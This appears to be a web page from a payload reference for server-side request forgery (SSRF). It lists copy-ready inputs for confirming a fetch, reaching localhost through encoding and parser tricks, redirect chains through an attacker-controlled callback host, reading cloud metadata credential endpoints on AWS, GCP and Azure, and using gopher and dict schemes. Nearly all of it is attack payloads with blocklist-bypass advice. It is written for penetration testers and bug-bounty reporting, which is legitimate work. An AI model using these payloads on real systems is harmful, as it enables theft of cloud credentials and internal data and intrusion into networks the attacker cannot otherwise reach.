Server-side request forgery

class

Making the server issue an HTTP request you control, to somewhere it can reach and you cannot.

38 payloads · updated 2026-08-24 · see also Encoding and bypass · raw

01Does it fetch, and do you see the result?

Two questions, and the second decides how pleasant the rest of this is.

Start with a URL whose response you would recognise. If the fetched body is rendered back to you, the SSRF is in-band — you can read internal services directly instead of inferring them a bit at a time.

IN-BAND — IS THE BODY REFLECTED?5

https://example.com/Does "Example Domain" come back in the response? Then you can read whatever it fetches.

COPY

file:///etc/passwdThe fastest proof the fetcher is unrestricted, and far easier to explain in a report than a gopher payload.

COPY

file:///c:/windows/win.ini

COPY

http://127.0.0.1/Straight at localhost. Even an error naming a port is information.

COPY

http://127.0.0.1:22/Pick a port you know is open. A banner or a protocol-mismatch error confirms you reached it.

COPY

Read the error, not just the body. "Connection refused" on 8080 and "timed out" on 9090 is a working port scanner. A distinct error per port is nearly as useful as reading the response.

02Nothing reflected — confirm out-of-band

OUT-OF-BAND CONFIRM3

http://{{CALLBACK}}/Watch the DNS hit and the HTTP hit as two separate events.

COPY

//{{CALLBACK}}/Protocol-relative. Sometimes survives a scheme check.

COPY

http://{{IP}}:{{PORT}}/Straight to your own listener.

COPY

A DNS hit with no HTTP hit means something resolved the name and then refused the connection — usually an egress filter rather than the application. That distinction decides what you try next, so check your collaborator's DNS and HTTP tabs separately.

03Reaching localhost

The blocklist is almost always string matching, not resolution.

LOCALHOST FORMS12

127.0.0.1

COPY

0177.0.0.1Octal.

COPY

0x7f.0.0.1Hex per octet.

COPY

2130706433The whole address as a 32-bit integer.

COPY

0x7f000001

COPY

017700000001

COPY

127.1Short form. Missing octets are padded from the last one.

COPY

127.0.0.1.nip.ioPublic DNS that resolves to whatever is in the name.

COPY

localtest.mePublic DNS, permanently points at 127.0.0.1.

COPY

0.0.0.0On Linux this reaches localhost and is rarely in a blocklist.

COPY

[::1]

COPY

[::ffff:127.0.0.1]IPv4-mapped IPv6.

COPY

PARSER CONFUSION4

http://127.0.0.1#@{{CALLBACK}}/

COPY

http://{{CALLBACK}}@127.0.0.1/Everything before the @ is userinfo. A naive parser reads the wrong host.

COPY

http://127.0.0.1:80\@{{CALLBACK}}/

COPY

http://①②⑦.⓪.⓪.①/Unicode digits that normalise to ASCII in some resolvers.

COPY

The reliable defence is resolve-then-check-the-IP. If the application is doing that, none of the above will help and you should look for a redirect instead.

04Redirect chains

Let a server you control do the talking.

REDIRECT2

http://{{CALLBACK}}/redirect?to=http://169.254.169.254/Host a 302 pointing at the internal target. Defeats any check done only on the URL you supplied.

COPY

http://{{CALLBACK}}/r

COPY

Check whether the fetcher follows redirects at all before building this. Some do on Location, some only on meta-refresh, some not at all.

05Cloud metadata

The usual reason SSRF is worth reporting as critical.

METADATA ENDPOINTS7

AWS

http://169.254.169.254/latest/meta-data/IMDSv1. IMDSv2 needs a PUT to get a token first, which plain SSRF usually can't do.

COPY

AWS

http://169.254.169.254/latest/meta-data/iam/security-credentials/

COPY

GCP

http://metadata.google.internal/computeMetadata/v1/Requires the header Metadata-Flavor: Google, so you need header control too.

COPY

GCP

http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

COPY

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01Requires the header Metadata: true.

COPY

DigitalOcean

http://169.254.169.254/metadata/v1.json

COPY

Alibaba

http://100.100.100.100/latest/meta-data/

COPY

If the target is on IMDSv2 and you cannot set headers, say so in the report rather than claiming credentials are exposed. The finding is still real — it's just not that finding.

06Other schemes

When the fetcher isn't limited to HTTP.

NON-HTTP SCHEMES5

file:///etc/passwd

COPY

file:///c:/windows/win.ini

COPY

gopher://{{IP}}:{{PORT}}/_testGopher lets you write arbitrary bytes to a TCP port — the route from SSRF to Redis, SMTP or memcached.

COPY

dict://{{IP}}:11211/stat

COPY

ftp://{{CALLBACK}}/

COPY

file:// is the fastest way to prove the fetcher is unrestricted, and it is much easier to explain in a report than a gopher payload.